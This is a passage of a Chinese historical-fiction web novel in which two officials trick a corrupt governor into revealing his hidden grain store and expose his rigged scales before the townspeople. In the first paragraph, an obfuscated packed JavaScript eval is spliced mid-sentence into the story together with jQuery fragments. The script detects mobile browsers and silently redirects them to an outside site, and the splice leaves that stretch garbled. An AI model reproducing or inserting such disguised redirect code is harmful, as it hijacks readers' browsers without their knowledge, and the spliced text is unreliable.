石梦泉也来到了假山的山洞外,听得里面一个清脆的女声问道:“娇荇,你笑成这样,做什么呢?” 娇荇显然就是那丫鬟了,道:“您猜得果然没错,那小子是个楞头楞脑的武夫,恐怕除了打仗什么也不晓得,除了玉旒云那男人婆,就什么女人也没见过,我朝他这么一笑呀,他都傻了,包准发觉不了我给他加的酒呀——都是白醋!”说完,咯咯笑了起来,她的主子也跟着忍俊不禁。 石梦泉心中先是一愕,既而也觉得好笑,不知自己何时与人结了仇,竟要如此“加害”;幸亏这样警醒地跟了出来,要不可还留在花厅里喝白醋呢! 二女笑了片刻,娇荇又道:“下面还打算怎么整治他?” 她主子大约是想了想,言道:“管他呢,他要做点什么,咱们就尽是同他对着干,叫他没得办法,只好回去找玉旒云来帮忙——等到玉旒云来了,我可要好好替翼哥哥出了这口气!” 说到底,还是玉旒云的对头,石梦泉想,却不知是谁? 娇荇道:“玉旒云要真来了,谁还能逃出您的手心去?只不过,玉旒云的本事就是去皇后娘娘面前告状,郡主真的难为起她来,恐怕她自己不敢来,只求皇后娘娘替她做主呢!” 郡主!石梦泉想起来了:难怪声音听着耳熟,可不就是昨日城下匆匆一会的愉郡主么!她为了什么“翼哥哥”来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728586|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找玉旒云的晦气,莫非是为了翼王爷?皇太后有个妹妹嫁了三皇叔赵王,这个愉郡主难道就是赵王的女儿么? 他细听下去,果不其然,那愉郡主道:“其实呢,我也弄不明白翼哥哥,放着那么多天仙似的亲贵小姐他不要,偏偏看上个不男不女的玉旒云。别人若想攀龙附凤,也就算了,可是翼哥哥天潢贵胄,他何必呢?” 石梦泉心下暗笑:玉旒云是何等人物,翼王哪里配得上?岂容你在这里背后议论!然而转念一想,又不禁黯然神伤:玉旒云是何等人物,我石梦泉是做梦也配不上的! 他无声地叹了口气,转身回花厅去——知道愉郡主主仆不过是玩些小女儿的恶作剧,无关大局,就不用再逗留下去了。然而,就在这当口上,却听得假山内一声娇喝:“站住,是什么人?”话音未落,愉郡主已经转了出来。 石梦泉不得离开,只好见礼。见那郡主不过才十四五岁的年纪,比侍女娇荇还矮了一个头,生得一张圆圆的苹果脸,满是稚气,黑白分明的剪水杏子眼,眼角稍稍朝上吊着,很是要强的模样,偏偏嘴唇却天生如弯月,仿佛随时都在笑。 “你,那个谁……石梦泉。”愉郡主故意老气横秋,“你怎么跑来偷听本郡主说话?本郡主听说你是玉旒云的跟屁虫,难不成你转了性要跟本郡主了?” 石梦泉未料她当面也能出言侮辱,微愕了愕,却不能发作,垂首不语。 愉郡主很是得意,冷笑道:“你又听到了些什么?其实本郡主行事光明磊落,给你听到了也不打紧。就算……就算本郡主要你吃醋,直接命令你吃,你还是一样要吃的!” “扑”,娇荇忍不住笑了出来:“郡主,什么吃醋的!这话好混说么?” 愉郡主也才恍悟自己失言,绯红了脸,狠狠跺了跺脚,道:“怎么了,怎么了?我就是要他吃毒药,他也得吃!这不是‘君要臣死,臣不能不死’么?” 看她一团孩子气,石梦泉也懒得与她较真,微笑道:“若是在京中,郡主的确可以赐微臣死罪。不过,微臣现在安平,所谓‘将在外,君命有所不受’,微臣还有要事,失陪了。”说罢,径自要走。 “等等!”愉郡主一步抢到他的跟前,瞪圆了眼睛打量他,却不说话。 石梦泉好是奇怪,问:“郡主还有何吩咐?” 愉郡主狡黠地一笑:“没有啊——你不是说,将在外,君命有所不受么?为什么我喊你,你还答应呢?” 这才晓得是受了捉弄,石梦泉哭笑不得,摇了摇头,行礼告辞而去。愉郡主的笑声还依旧在后面银铃般一串串飘来。 他再回到花厅,宾主双方已经酒过三巡,话语越来越不投机,顾长风的一张脸都凝成了铁青色。康申亭一行还保持着各自或悲或喜或迷糊的神色,又是哭穷又是喊冤,一见石梦泉回来,就纷纷向他愁眉苦脸道:“石将军率部前来治蝗,正是七郡百姓之福,不过,要筹措出粮草来供养大军,恐怕困难,困难啊——将军还是请禀明玉将军,请从京中调度粮草……” 石梦泉皱着眉头:原本来此治蝗是为了保证将来出兵的粮草,若要进京调粮,岂不成了个笑话?可是除此之外,难道还有他法? “进京调粮?别做梦了!”顾长风倏地站了起来,冷笑,“玉旒云恨不得收尽天下五谷,你跟她要粮食,小心她来要你的脑袋!” 众人都望着他——未见他喝酒,可这时却有七、八分的醉态了,摇摇晃晃,仿佛就要摔倒,石梦泉忙一把扶住他。 顾长风还挣扎:“你莫拦我!他们都是本地的父母官,死不得。我可不怕死,就让我来会会玉旒云,大不了,叫她把我杀了……这就去!这就去!”身子一径朝门口倒下。 这还真的醉了!座中诸位面面相觑,也都七手八脚来扶。 康申亭道:“顾大人这般,不如进我房里去歇歇?” “不……不要!”顾长风嘟囔着,两手乱挥,“就送我回京去见玉旒云!见玉旒云!” “这……”康申亭等露出万分为难的神色,等石梦泉发话。 石梦泉的心中有斗大的疑问,又不知要如何验明,道:“还是我送顾大人回到营中吧。叨扰康大人了。” 康申亭道:“哪里,哪里,我这就派人备车……” “不要!不坐你的车!”顾长风舌头打卷地嚷嚷,“不坐你的车……我要……走……走去见玉旒云!” “您看这……”康申亭对着石梦泉苦笑,“不如就在街上雇辆车吧!” 黑驴拉着小车,既慢又颠簸。一转过总督府的街角,顾长风的醉态立刻消失了,冷冷地从车帘里朝后望望,啐了一口:“一群蛀虫,连玉旒云还不如!” 石梦泉不解地望着他——虽然早也怀疑他在做戏,但是行径未免太过古怪了。 顾长风只拿手指在小车黑黢黢的车壁上划着:“三座粮仓,倘若本该有三百万石粮食,前人讲排场掏空了底子,还应该有五十万石上下。倘若三百万石可供七郡饱食十年,则五十万石可将就吃个两年。康申亭说,这两年来他都在拆东墙补西墙,这五十万石粮食却到哪里去了?” 石梦泉一怔:可不是! 顾长风又道:“况他还强行收缴百姓粮食,这其中还不晓得有多少古怪!” “这也是。”石梦泉点头,“可要如何查起呢?” 顾长风道:“我的一个旧相识,就在……” 话未说完,赶车的老头却从前面插口了:“哎哟,老爷,别怪老儿偷听您二位说话——您说那康大人收粮呀,古怪的确是不少,坑死人啦!” 顾长风忙道:“老人家请讲!” 那老头道:“他收粮,有一杆官秤,一只官斛,外加那官老爷的一双官靴子——人家明明是五斗米,过一秤就少了十五斤,再过一斛,又少十五斤,那斛上若被他老人家的靴子踢两踢,能再少下五斤去。你说我好好种一年粮,被他强收了去,就只能当成一半,可还怎么过活!” 顾长风道:“却有这种事情?你们怎么也不联名告他一状?” 老头道:“告状?衙门口朝南开,有理没钱莫进来。老儿我又不识字,告什么呢?年初倒有些人折腾了一阵子,想要到京里去告状,大佛寺的苦智大师菩萨心肠,让他的弟子带了状子上京,告到这时也没个结果来,可见天下乌鸦是一般黑的,告进了京也没有用!” 顾长风一惊,道:“怎么?那小沙弥竟是来告御状的么?可惜!可惜!” 老儿道:“咦,听老爷的口气,竟是京里来的官大爷?小老儿眼拙,说错话了,您二位就当没听见吧。” 顾长风道:“不,老人家请一定要说下去——这位苦智大师是老朽的故交,小沙弥在途中染了急病,才到京城就病死了,老朽只得了他交的一袋泥土,内有蝗虫卵,知道这是苦智大师要老朽向朝廷进言南下治蝗——至于状子,我并没有见到——可惜,否则早已在皇上面前参他一本!地方上竟然乱到如此地步——唉!” 老头听言,惊得鞭子也差点儿落了地,扭转身子要将车内的二人看个分明——石梦泉见那满是沧桑的脸上浑浊的眼中仿佛有泪要流下来。“大人——大人是来治蝗的?” 顾长风点点头:“老朽和这位石将军,带了本地籍贯的一万五千军士前来治蝗。蝗蝻一天不灭,老朽就一天不离开南方。” “大人啊!”那老儿勒住了牲口,“扑通”一下滚落在地,“咚咚咚”地磕起头来,“大人要是能治了蝗虫,就是咱安平百姓的再生父母,咱们要修座生祠,天天祭拜您!” “老人家快起身!”顾长风伸手阻拦。石梦泉的动作快些,跳下车去将老头扶住。 老头面上老泪纵横。顾长风携了他的手道:“可千万不要给我建那折寿的牢什子。目下最紧要的,是要请问老人家,安平城的粮仓里究竟有粮没有?” 老头道:“怎么没有?年年收,又不让卖,都说康总督等着大灾之年好发财呢!不过,却没有收在那三间粮仓里。去年有人饿极了,要闯进去抢粮食,一粒米也未找到,让抓了起来,四月里苦智大师带着一众乡邻在粮仓前静坐请愿,也被抓了起来……唉!” “苦智大师也被抓了?”顾长风骇异。 “可不是?”老头道,“武的闹不成,文的也闹不成,只求两位大人替咱们做主了!” 石梦泉眉头紧锁:“粮食究竟在何处,可有人知道?” 老头摇头:“除了康大人,谁晓得?三座粮仓是只见粮食运进去,没见运出来。大家都说康大人家里有个大地窖,也不知是不是真的。可谁又有那本事到他家里去呢?” 一个地窖?石梦泉与顾长风相视一眼:总督府的规模,一个地窖恐怕存不了多少粮食。 老头似乎看出了他们的疑问:“两位大人莫非想到总督府去了?康大人平常可不住在总督府呢,他在城南的清凉山上修了座皇宫似的的园子,带着六个姨太太在里面快活。现在那整座山都是他的啦,连上山打柴也不准!现在因正逢着京里的一个郡主来游玩,清凉山让给郡主住了,他才暂时搬回了总督府里来。” 简直岂有此理!石梦泉一拳砸在了车辕上。 顾长风也鼻孔里重重“哼”了一声:“没有王法了,可还有天道,就不怕被雷劈么!” 老头道:“总是两位大人来了,要替咱们做主。大人只要吩咐,小老儿没有不愿干的——石将军带了兵队来,那是最好不过,干脆就杀上清凉山去,把粮食抢出来,可大快人心!” 石梦泉暗道:这未尝不是一个办法,然而却是下策。康申亭的粮食上又没写着“官”字,他要一口咬定是他自己的,这便师出无名,更加,倘若粮食根本就不在清凉山上,岂不还被人抓到了把柄,闹出个天大的笑话? 顾长风道:“老人家不必担忧,这件事老朽同石将军一定不会坐视。不过,要分两头来计议,只恐还是要麻烦老人家的——烦请您先载我们到……唉,我原是要去大佛寺拜访苦智大师,现在也见不到了,就带我们回城西的旧营吧。” “成!您说我就做!”老头儿当即又跳回了驾座上,挥鞭赶车。 一路就是颠簸,顾长风和石梦泉各自蹙眉沉默。 石梦泉只在心里一个劲儿地翻腾:若是换作玉旒云,换她来此,究竟会怎么做? 合上眼,仿佛就看到了玉旒云冷傲又略带几分狡猾的脸——只是他的面前,才露出这样明显的表情。“可恶的贪官!”他听到她说,“我必叫他搬起石头砸了自己的脚!” 只有她才有操纵一切的自信。想起来就不禁要微笑,问:要怎样才能搬起石头砸自己的脚呢? “你忘了么?”幻想她攀过一枝花,漫不经心地端详,“那故事里说,从前有个甲某人,借给乙某人一百两银子,快到借期的时候,他把借据给弄丢了。于是,甲某人就写了一封信给乙某人,道:你的那二百两银子快到期了!乙某人收到后,立刻回了他一封:我知道,但是我只借了一百两银子而已。” 我怎么会忘?石梦泉无声地低喃:你可不就是用了这样一个计策,为我从皇上那里讨来了第一份公职?你说:“梦泉的那个四品侍卫,怎么还没准下来?”皇上说:“我分明只答应了六品!” …… 一切都不会忘。 幻想中的玉旒云在瞪着他呢,好像在嗔怪他的驽钝。 怎么?他的心里一闪,突然开朗起来:“哎呀,搬起石头砸了自己的脚!我怎么没想到?” 顾长风被他弄得一愣:“说什么?” 他一笑:“我要康申亭自己把粮食运出来!”当下就把初步的设想同顾长风说了一回。 顾长风听得,一行惊讶,一行又赞叹:“或许行得通。这得好好计议!” 6. 第 6 章 接风宴后没几天,康申亭接到了石梦泉的请帖,请他召集本地乡绅,再请上邻近县城的县令们,一齐来军营中赴宴。本来按照礼尚往来,这算是“回礼”,并没有什么大不了。可是上一回的接风宴闹得这样不欢而散的收场,他不得不多了一百二十个心,生怕这边也同样摆个鸿门宴给他。 到了城西的行馆里,乡绅们都已经就座了,顾长风占着两个主位的一个,石梦泉则不见踪影。康申亭小心翼翼地问一句:“石将军人呢?” 顾长风淡淡答道:“有人传了玉将军的军令来,他议完事就来了。” 康申亭看不出古怪,只好领着县令们序次坐下。顾长风即吩咐人上茶,副将罗满再三再四地道歉,说,军中不可饮酒,只好以茶代替。众人当然也说“没关系”,少不得赞两句“治军严明”之类的套话,缓和席间的气氛——各人的心里可都嘀咕着呐! 过了不多时,石梦泉果然来了,满面春风,跨进门槛即嚷道:“哎呀,康大人果真赏光来了,我就知道玉将军神机妙算,绝对不会说错!” 康申亭连忙率领众人起身见礼,又奇怪地问:“这和玉将军……有什么……关系?” 石梦泉笑道:“石某方才刚刚接到京里来的消息,玉将军算准了安平粮仓空虚,她早已派了人运送粮草跟随在我大军之后。这信差来到时,粮草大约已到了安平城外三十里的地方。” 康申亭狐疑地同各人交换了个眼色,道:“玉将军可真是运筹帷幄,决胜千里了。不过,这和下官叨扰石将军又有何关联?” 石梦泉道:“本来没关联,不过玉将军信里说,应该体恤康大人治理一方,劳心劳力,所以授意石某接到信后立即请康大人来营里吃顿饭,咱们这一顿饭吃完,粮食估计就已经运进城啦。” 康申亭愕了愕,觉得这解释实在有点牵强,不知石梦泉葫芦里卖的什么药,但还是陪笑道:“若真这么说,其实玉将军之外,石将军也是料事如神——玉将军的信未到,你的请帖已经到了下官的家中,想来石将军多年来追随玉将军左右,对于她的心思也摸得极熟了吧?” 石梦泉哈哈大笑:“玉将军是何等人物,她的心思我可不敢妄加揣度——康大人,请!” 宾主一番客套,终于都落了座。就有罗满指挥小校再上了一轮清茶,接着上菜——其实端上来的是一口大锅,分到各人碗中的只有稀粥而已。 乡绅与地方官员都皱起了眉头,顾长风却用比稀粥还淡的语气说道:“常言道,当官不为民做主,不如回家种红薯。又有道,不劳不得。顾某在户部枉做了许多年的官,居然让家乡的父老饿肚子,一时回来了,却连红薯也没种。今日能有口粥喝,已是父老乡亲对顾某格外宽恕了。” 谁不知他话里有话?康申亭等早就知道他的脾气,也不去接他的茬儿。 石梦泉倒接过粥碗来笑道:“这样一说,我的祖籍也在南方七郡。我实在是应该回来种种红薯的,否则这一口粥我也受之有愧。” 在座官员以他品级最高,众人不买顾长风的帐,却得对他的所言有所响应,纷纷道:“哪里哪里,石将军追随玉将军左右,立下赫赫战功,而今玉将军派人运粮草前来,也该有一半是石将军的功劳,怎么好让石将军‘种红薯’?实在是说笑了。” “呵呵。”石梦泉果然笑了起来,竟好像自己当真是在说笑一般,“大家请,喝粥,喝粥。” 众人都是莫名其妙的,实在闹不懂这耍的什么把戏。那家种罗汉豆的陈县令忍不住和家里酿酒的刘县令嘀咕:“不会就是拿我们来开开心吧?大老远的把人叫来……” 刘县令道:“谁知道。提防点儿是正经。” 正说着,门口一声笑:“哟,人都请齐了,怎么偏偏没有我?” 座中俱是一愣,见愉郡主一身水红色的春衫,领着穿嫩绿色衣服的娇荇跨进门来,主仆二人正好像绿叶衬红花,娇艳欲滴。众人连忙都起身迎接。 愉郡主“哼”了一声,径自走上前去,占了石梦泉的主位,道:“你们不要嘴里说欢迎但其实什么事都不想告诉我。连九品芝麻官儿都得了帖子,就没人来跟我说一声的,还有没有把我这个郡主放在眼里?”说到这最后一句时,眼睛盯住了石梦泉,分明找他的茬儿。 石梦泉不和小孩子计较,道:“下官请各位大人来吃便饭,乃是因为庆祝玉将军接济南方七郡的粮食运到了。郡主金枝玉叶,恐怕喝不惯这样的稀粥。” “谁说我喝不惯了?”愉郡主低头瞥了瞥粥碗,接着笑了起来,“你向玉旒云求救了呀?是不是你自己稀粥喝多了,肚子饿得慌,所以就求玉旒云运粮食来给你?而玉旒云多半又是跑去皇后娘娘跟前哭诉了一番,然后皇后娘娘就跟皇上说,赶紧运粮食来安平?” 席间传出了窃窃的笑声。石梦泉觉得这个郡主实在太叫人生厌了。 愉郡主却还接着说下去:“那你下面要做什么?听说是治蝗虫——要是蝗虫太多太厉害,你治不了,是不是也要传个八百里加急的军报回京给玉旒云,然后由玉旒云而皇后,由皇后而皇上,最后须得皇上下一道圣旨,命令蝗虫不得在南方七郡出没……” 她话没说完,底下的笑声已经爆发出来了,嘿嘿哈哈的,又相互劝着要忍住。人人面上表情滑稽。 石梦泉的嘴角动了动,几乎出言斥责,不过终于又没有。偏偏就在这个时候,外面慌慌张张摔进一个安平本地的护军来,急道:“不好了,康大人,有土匪进城了!”一语扫尽了玩笑的气氛。 康申亭变了颜色,沉声道:“没头没脑说些什么!我安平附近哪里有土匪?” 那护军道:“属下也不知是什么人,不过他们来势汹汹,好像从天而降似的,先有一群到总督府捣乱了一番,又来一批到了清凉山别墅,这会子第三拨人正在粮仓闹事呢。” “在粮仓能闹什么事?”康申亭道,“连一粒粮食都没有。” “本来是没有……”护军道,“不过,京里有人运了粮食来,已经进了城,也不知这时运到粮仓了没有……” “这么快已经运到了?”顾长风很吃惊的模样,“方才还说有三十里呢!” “的确已经到了。”护军回答,“小的本是城门当值的,是小的开门迎了他们,总有车百余辆,过了半天才都过完。然后小的换班,才下城楼,就见总督府的弟兄来求救,跟着是清凉山别墅的,再来就是粮仓的……” 康申亭锁着眉头,苦思了片刻,微微扭脸看了石梦泉一眼。 石梦泉道:“康大人莫急,我大军在此,岂容蟊贼土匪猖狂?要是劫去了京里来的粮食,哪好同玉将军交代?我这就传令下去,派精兵去剿匪抓贼。”说着,便招呼罗满。 “石将军且慢!”康申亭阻止,“安平乃是下官治下,倘若连这些流寇也对付不得,日后将军大军离去,下官岂非日日要坐卧不安?还是下官回去招集安平护军剿寇。”言罢,即告辞离席。 石梦泉追上他,道:“灭匪护民乃是我军人之本分。今就将此等匪徒消灭干净,决不给康大人留下后患便是。康大人顾虑什么?罗副将,传令!” 罗满道“是”,便即出门。康申亭急了,面色白里透青:“这……石将军,这……” 石梦泉好像隐隐含笑:“怎么?” “哎,这有什么好争的?”愉郡主插话,“康大人是地方官,你的护军就去守护总督府和粮仓。石将军是朝廷的将军,就来看看本郡主下榻的行馆有何损失。本郡主的许多玩意儿都是皇上御赐,若被蟊贼抢了去,岂不是天威无存?” “正是,正是!”康申亭不待她话音落下就忙不迭地附和,“郡主是金枝玉叶,容不得闪失。下官先去了。”再不给石梦泉打断的机会,夺路逃出门口。 愉郡主即乜斜着眼睛看面带怒色的石梦泉:“将军啊,你不会又说什么‘将在外,君命有所不受’吧?” 石梦泉不理会她,和顾长风交换了一个眼色。 顾长风道:“石将军就点齐人马去吧,到了外面再随机应变不迟。” 石梦泉怔了怔:“也是。”和座中摸不着头脑的众人一拱手,恭请愉郡主出门。 愉郡主早就定下决心专门找茬,石梦泉说往东,她就偏偏要说往西。此时看到这个玉旒云手下的第一亲信板着脸和自己出门,心里别提有多得意了,直和娇荇一处掩口而笑。可谁知一出行馆的大门,石梦泉就把手一挥:“随我来!”招呼着众士兵自己去了,根本就不把这郡主放在眼里。 愉郡主气得直跺脚,追上两步,道:“石梦泉,你什么意思?清凉山别苑不朝那边走。” 石梦泉根本不答,如同眼里没有她这个人一般,只和一众手下在夜色里疾行。 愉郡主不由得火冒三丈,一径撵到他的身边:“你到底想干什么?鬼鬼祟祟的!你找玉旒云向皇后娘娘告状,我就不会找我翼哥哥向皇上告状么?你敢在地方上胡作非为——喂!” 石梦泉等一行走得飞快,她很快就被甩下了,咬着嘴唇直发脾气,但旋即又追上:“你别以为我不知道你打的什么鬼主意!玉旒云哪有这么神,晓得你没粮草呢?分明就是你派人冒充土匪,抢了康申亭的私粮。这会子被他撞破了,你怕他回去坏了你的好事,要带兵去杀他灭口——是也不是?” 脚步略一缓,石梦泉吃惊地看着愉郡主。 少女的脸上露出了得意的笑容:“你那点雕虫小技,还能瞒过本郡主去?你要是不好好地听本郡主的差遣,我这就把事情嚷嚷出来,叫你偷鸡不成蚀把米——哎哟!” 石梦泉已经将她逼到墙根儿上:“康申亭有私粮,你也知道?” 愉郡主傻傻地看着他:“你……你干什么?以下犯上,死奴才你不要命了么……哎哟……他是有私粮啊,要不他吃什么?” “有多少,藏在哪里?”石梦泉示意手下把面无人色的娇荇也押住。 “我不知道藏在哪里……”愉郡主结巴了,“有多少……大概是四百万石吧……我听说的……不晓得……你……你要干什么?” 石梦泉低低重复了一句:“四百万石!”语气里听不出究竟是愤怒还是沉痛,但接着就放开了愉郡主,道:“冒犯了,望郡主恕罪。” 愉郡主瞪大了眼睛:“你……你……我恕你就怪了!” 可石梦泉不再理她,只吩咐士兵们:“走吧。”便踏着沉沉的夜露疾行而去。 娇荇直抚胸口:“乖乖我的好郡主,可别再去惹那姓石的了。玉旒云心狠手辣,她的部下也都一个模样。他们的眼里八成什么人也没有——您想,玉旒云连翼王爷都敢打呢,刚才这姓石的又这样对您……” 愉郡主嘟着嘴,皱着眉头,气鼓鼓愣了一会:“不成,我偏偏要惹他。倒要看看他们玩的什么花样!”说着,将裙子一拎,迈步往石梦泉一行的去路追上。 娇荇无奈,也只好跟在她的后面。主仆二人走走停停,先到了安平护军营,又到了总督府,一直走遍了大半个安平城,才来到了含元仓的外面。 只见那里灯火通明,许多军士横七竖八地躺倒在地上,看服饰,乃是安平守军。而所谓的土匪强盗,却不见踪影。石梦泉等都隐身在一条幽暗的巷子口,静观含元仓的动静。愉郡主和娇荇不敢贸然现身,只好在更远的地方眺望。 她们隐约地看见,康申亭领了一队安平护军正和守粮仓的兵士说话,也不知都讲了些什么,接着,康申亭就进粮仓去了,留下护军守卫在外。 愉郡主和娇荇互望了一眼:这都是什么古怪的事呢! 那边石梦泉却招手示意属下行事。他所带的都是军中前锋营的精锐,行动迅速在暗夜里仿佛鬼魅一般,只不过眨眼的功夫,已全到了粮仓的跟前,也不见他们如何抬手动脚,那一队安平护军已经全数瘫倒在地。 “哎哟,我的亲娘呀!”娇荇低声道,“难怪玉旒云谁都不怕,这一伙人都是有妖法的!” “闭嘴!”愉郡主踩她一脚,“跟着来!”自己已经猫腰朝含元仓跑了过去。 娇荇肚子里叫苦不迭,硬着头皮跟上。等石梦泉的部下都进仓内去了,她俩也蹑手蹑脚跨进了门——看两边倒在地上的安平护军原来都是中了蒙汗药,个个睡得像是死猪,这才使两人心中对“妖法”的畏惧微微减少,手拉着手,在灯光昏暗的走道里前进。 没走得多远,听见前面一阵清脆的响声,好像谁把钥匙串掉在了地上,接着就听石梦泉笑道:“康大人,你也挺料事如神,玉将军才叫人把粮食运到了这里,你就来查看了?” 康申亭的话音里满是惊怒:“石将军在说什么?下官一点也不明白。” 石梦泉笑:“你当然不明白,你又没有在玉将军的身边办过事。她对待粮草向来是很谨慎的,这次远道运了这许多粮食来,自然要选一个妥当的地方保存——非常稳妥,非常隐秘,土匪绝对找不到的地方。” 康申亭的声调已经有些异样:“下官还是不明白石将军的意思。石将军不是保护郡主去了么?怎么又到含元仓来?况这里连一粒粮食也没有——你说玉将军运了粮来,不知在哪里。” “一粒粮都没有,你在这里干什么?”石梦泉问。 “粮仓重地岂容土匪撒野?”康申亭道,“即便没有粮食,仓内一切器皿量具也都是官家之物,下官自然要清点仔细。倘使玉将军的粮食当真运来了,也好秤量入库。” “难得大人有这份克尽职守之心。”石梦泉叫手下将那串钥匙拣了起来,晃了晃,“玉将军的粮食的确需要秤量秤量。她的信里实在没有说明究竟是多少石。” 钥匙哗啦一响。 “你——”康申亭好像要阻止什么事。 愉郡主和娇荇壮着胆子探头一看,只见石梦泉拉开了墙壁上一张“民以食为天”的条幅,后面露出一个小小的暗门。他把钥匙插进去逐一地试,到第五把时,“喀啦”一声,锁开了——暗门那边什么动静都没有,可娇荇却尖叫了一声:“妈呀!”原来在她的背后打开了一条通道。 石梦泉一行立即发现了这两个闯入者,只是这条地道使得大家谁也没有工夫计较其他的事情。 “康大人,你看玉将军寻的这一处库房够不够隐秘?” 康申亭的整张脸都是铁青的,在灯光的照耀下分外难看。“玉将军果真高人一筹。”他勉强笑着,却好像哭,“这地方连下官都不知道,她却这般神速地叫人把粮食都运了进去——也不知究竟有多少石。” 石梦泉道:“有多少石,咱们下去看看就知道了。康总督请——” 没人阻拦愉郡主和娇荇,她们两个自然也就跟在后面。娇荇小声地嘀咕:“到底玩的什么把戏呢?郡主您说他们是要抢康总督的粮食,怎么又冒出这个地道来?还有那康总督,钥匙分明就是他的,他怎么说自己不知道有这么个地下库房?哎呀呀,郡主,你说他的私粮是不是就藏在这里?” 愉郡主愣了愣,猛然醒悟了过来:石梦泉这一招,可不比假扮土匪抢粮食还高明?先叫人运了百辆空车进城,再闹出土匪事件,诓得康申亭以为他们要偷了粮食来个“借花献佛”,实际则是要康申亭带他们来寻私粮的储存之地…… 石梦泉!她忍不住看了看前面那颀长的背影:原来是个不简单的人物! 众人已经走到了地道的尽头,整齐排列的巨大米囤子映入了眼帘,当先还有一张小桌,两个安平护军打扮的人正诧异地看着不速之客:“康大人……这……这是?” 康申亭咬牙切齿。 石梦泉笑着来替他解围:“康大人,本将军没有开错门吧?这些的确是玉将军运来的粮食,是也不是?” 康申亭哪里能有半个“不”字,否则就是打自己的耳光,牙缝里挤出句含混的“没错”,立在一边朝两个手下递眼色。 两个护军已经全然糊涂了。 偏偏石梦泉又吸了吸鼻子:“好大的酒气!仓场规矩,铺军、小甲,看仓的披甲,逢酒必避——你们两个是存心找死么?” “康大人——”两个护军吓得腿直打颤。 康申亭咬牙不语。 石梦泉厉声道:“你们叫康大人做什么?康大人根本就不知道这里有个地窖。既然这儿都是玉将军调来的粮食,你们想来也是玉将军派来的人,她治军的规矩,你们难道不清楚?” 两个护军哑巴吃黄连,有苦说不出。 石梦泉挥挥手:“带走。”前锋营的士兵应声而上,把哭喊着“冤枉”的两人拉了出去。 康申亭还是一声也不吭。 石梦泉问:“康大人看,这里究竟有多少粮食?” “怕是……”康申亭犹豫着,“怕是有十万石吧。” “才十万石?”石梦泉看一眼愉郡主:传闻的四百万,若非不实,就是此外还有其他地窖。 愉郡主暗里嘀咕:“我怎么晓得!你设毒计偷取别人的私粮,倒还理直气壮得很!”须知她是一个无忧无虑的天之娇女,对于这些囤积官粮欺压百姓的事是半分也不明白的。撅了撅嘴,倒有些想和石梦泉抬杠的冲动。 可还不待她开口,石梦泉已经转身朝回走了:“康大人刚才不是说要秤量么?就借你的官秤、官斛来,看看玉将军究竟给咱们送了多少粮!” 总督府前的广场上火把照亮了半边天,顾长风为首,后面带着当日替他赶过驴车的老头,领了黑压压一片百姓以及这晚宴会所邀请的一众官员,正等着石梦泉一行。 前锋营的兵士推来了一车粮食,一袋、一袋,卸在广场上。另有几名兵士抬着官秤和官斛,到得跟前便威风凛凛一字排开,等待号令。 石梦泉朝康申亭做个“请”的姿势:“收粮秤粮这些事,石某是一介武夫,不知要如何操作。康大人应是驾轻就熟了吧。” 康申亭勉强还可笑得出来:“下官也不亲自经手,都是师爷做的。” “那么师爷呢?”石梦泉问。 梁冉自顾长风那边的一群官员里颤巍巍走了出来:“小的在。” “还不去掌秤!”石梦泉朝官秤、官斛一指。 梁冉没有办法,向康申亭求指示,可康申亭眼睛直愣愣不晓得在盯着些什么。他只好硬着头皮磨蹭到了秤边,指挥两个军士把粮食袋子勾在了秤钩上,抬起来,又去拨秤砣。 “慢着。”顾长风喝住,“朝廷仓场的规矩,像这样一袋米应该是多少斤?” “应该是……”梁冉眼珠子滴溜溜地转,“从官仓里运出来的,每袋是五斗,七十五斤。” “恩,”顾长风点了点头,“那么请先生过秤吧。” 梁冉抹了一把额头上如浆的冷汗,复又回头拨那秤砣,好容易拨到了七十五斤的地方,秤砣直往下坠。百多道目光都戳着他的脊梁,他不得已,只好又把秤砣往回拨,终于秤直了,顾长风上来看一眼秤星,只有六十斤。 他冷哼了一声,回身对石梦泉道:“石将军,玉将军忒也小气,运些粮食来居然缺斤少两。她若每一袋都少给咱们十五斤,这该克扣下了多少米粮?不会是她想把扣下的官粮拿去做军饷吧?” 石梦泉道:“顾大人的话可不能这么说,难道官秤就不会有错么?” 顾长风道:“笑话!官秤系由工部统一打造,任何人等胆敢私造、私改或者私毁的,视同欺君,按律当斩。石将军如今怀疑官秤,这可非同小可。” 石梦泉也不坚持,道:“是错是对,过了斗再看。” 顾长风也即命令:“过斗!” 梁冉的手已经抖得根本就办不得事了,要将米袋子卸下来,舞弄了半晌也没个动静。顾长风索性上前亲力亲为,将米倒进了官斛之中,张了一眼,道:“石将军请看,这里量过也不及五斗——连六十斤都不到,看这标尺,只有四十五斤。” “岂有此理!”石梦泉怒道,“这官斗显然有诈!”说着,上前狠狠在斛上踢了两脚——斗中的米就更浅了,只没到标尺的“四十斤”刻度。 顾长风笑道:“石将军,你不信也不成——方才那一踢,行话叫‘淋尖儿’,只有淋过了尖儿,这读出来的斤两才作数,所以这一袋米才不过四十斤。玉将军向皇上要了粮食,居然克扣了一半,这事,无论如何说不过去!” 人群中响起一阵嗡嗡的议论声——看不明白究竟的,大概只有愉郡主一个。安平的百姓都晓得向日收粮时,梁冉即是硬用这些改造过的量器将人家的粮食秤少了一半,谁胆敢有半句埋怨的,必然丢出一句“官字大如天”,若还不服,便会遭牢狱之苦。那些被逼急了而硬闯粮仓的人,现在还押在大牢中呢! 顾长风和石梦泉如此一唱一和,显然是要替老百姓做主了,小民的胆子都壮了起来,有人嚷嚷道:“就是那秤有诈!那斛也有诈!”这一带头,底下就跟炸开了锅似的,七嘴八舌,把经年的委屈全都抖了出来。 顾长风伸手示意大家稍安勿躁:“官秤、官斛都是工部所造,我国上下,皆为统一标准。没有真凭实据,我们不能怀疑。不过,假使有一件大家都确切知道其重量的事物,拿来过一过秤,那就可以验证究竟是否有诈了。” 